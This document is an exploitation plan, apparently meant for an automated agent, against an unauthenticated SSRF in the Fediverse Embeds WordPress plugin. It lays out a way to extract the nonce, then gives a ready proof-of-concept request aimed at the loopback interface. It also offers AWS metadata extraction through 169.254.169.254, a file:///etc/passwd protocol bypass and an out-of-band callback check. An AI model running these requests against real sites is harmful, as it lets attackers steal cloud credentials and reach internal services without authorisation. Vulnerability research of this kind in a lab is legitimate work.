Exploitation Research Plan: CVE-2026-46697 (Fediverse Embeds SSRF)

1. Vulnerability Summary

The Fediverse Embeds plugin (<= 1.5.7) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin implements a mechanism to fetch metadata or OEmbed data from Fediverse instances (like Mastodon, Lemmy, or Pleroma) to generate previews. Due to insufficient validation of the target URL and a lack of restriction on internal IP ranges, an unauthenticated attacker can coerce the server into making HTTP requests to arbitrary destinations, including internal services (e.g., AWS metadata endpoints, internal database APIs, or the WordPress site's own loopback interface).

2. Attack Vector Analysis

• Endpoint: WordPress AJAX handler (/wp-admin/admin-ajax.php).
• Action: Likely fediverse_embeds_get_preview or fediverse_embeds_proxy (inferred).
• Parameter: url or endpoint (inferred).
• Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
• Preconditions: The plugin must be active. Some versions may require a valid nonce if the developer implemented CSRF protection but failed to validate the destination URL.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an unauthenticated AJAX action:
   add_action('wp_ajax_nopriv_fediverse_embeds_get_preview', 'handle_get_preview');
2. Input Extraction: The handler function retrieves the URL from the request:
   $target_url = $_GET['url'];
3. Vulnerable Sink: The plugin passes the $target_url directly into a WordPress HTTP API function without validating if the host is external:
   $response = wp_remote_get($target_url, array('timeout' => 10));
4. Information Leakage: The body of the response from the internal service is then returned to the attacker via wp_send_json_success() or similar.

4. Nonce Acquisition Strategy

If the endpoint requires a nonce (e.g., checked via check_ajax_referer), it is likely exposed to facilitate frontend embedding.

1. Identify the Shortcode: Search for shortcode registrations in the plugin:
   grep -r "add_shortcode" /var/www/html/wp-content/plugins/fediverse-embeds/
   (Likely shortcode: [fediverse-embed])
2. Create a Trigger Page:

   wp post create --post_type=page --post_title="Embed Test" --post_status=publish --post_content='[fediverse-embed url="https://mastodon.social/@Gargron/1"]'
   

3. Extract Nonce via Browser: Navigate to the newly created page and look for the localized script data.
   • Variable Name (Inferred): fediverseEmbedsL10n or fediverse_embeds_params.
   • JS Command:

     // Use browser_eval to extract
     browser_eval("window.fediverseEmbedsL10n?.nonce || window.fediverse_embeds_params?.nonce")
     

5. Exploitation Strategy

We will attempt to access the internal WordPress wp-admin or a standard metadata endpoint to confirm the SSRF.

Proof of Concept: Internal Request

• Tool: http_request
• URL: http://<target-domain>/wp-admin/admin-ajax.php
• Method: GET or POST
• Parameters:
  • action: fediverse_embeds_get_preview (inferred - verify via grep)
  • nonce: [EXTRACTED_NONCE] (if required)
  • url: http://127.0.0.1/wp-admin/ (Targeting the internal loopback)

Example Request (HTTP GET):

GET /wp-admin/admin-ajax.php?action=fediverse_embeds_get_preview&nonce=a1b2c3d4e5&url=http://127.0.0.1/wp-admin/ HTTP/1.1
Host: target.local

Advanced: AWS Metadata Extraction (If applicable)

• URL: http://169.254.169.254/latest/meta-data/

6. Test Data Setup

1. Install Plugin: Ensure fediverse-embeds version 1.5.7 is installed.
2. Public Page: Create a public page with the plugin's shortcode to ensure all scripts and nonces are properly initialized in the frontend.
3. Local "Secret": Create a file in the web root that should not be accessible externally, or use the WordPress wp-admin login page as the target of the SSRF.

7. Expected Results

• Success: The HTTP response from the AJAX call contains the HTML source code of the wp-admin login page or the metadata from the internal endpoint.
• Response Code: 200 OK.
• Content: A JSON object containing the "proxied" content.

8. Verification Steps

After executing the HTTP request, verify the plugin's behavior via WP-CLI:

1. Check for Error Logs:
   tail -n 20 /var/www/html/wp-content/debug.log
   (Look for wp_remote_get calls to the internal IP).
2. Verify the Action Name:
   Confirm the exact AJAX action name used in the plugin:

   grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/fediverse-embeds/
   

9. Alternative Approaches

• If GET fails: Try POST with Content-Type: application/x-www-form-urlencoded.
• If the response is blind: Use a collaborator/webhook URL (e.g., http://your-oast-host.com) to confirm the server is making outbound requests.
• Parameter Names: If url fails, check the source code for parameters like uri, src, href, or path.
• Protocol Bypassing: Try file:///etc/passwd (if the plugin uses file_get_contents or a library that supports the file:// wrapper).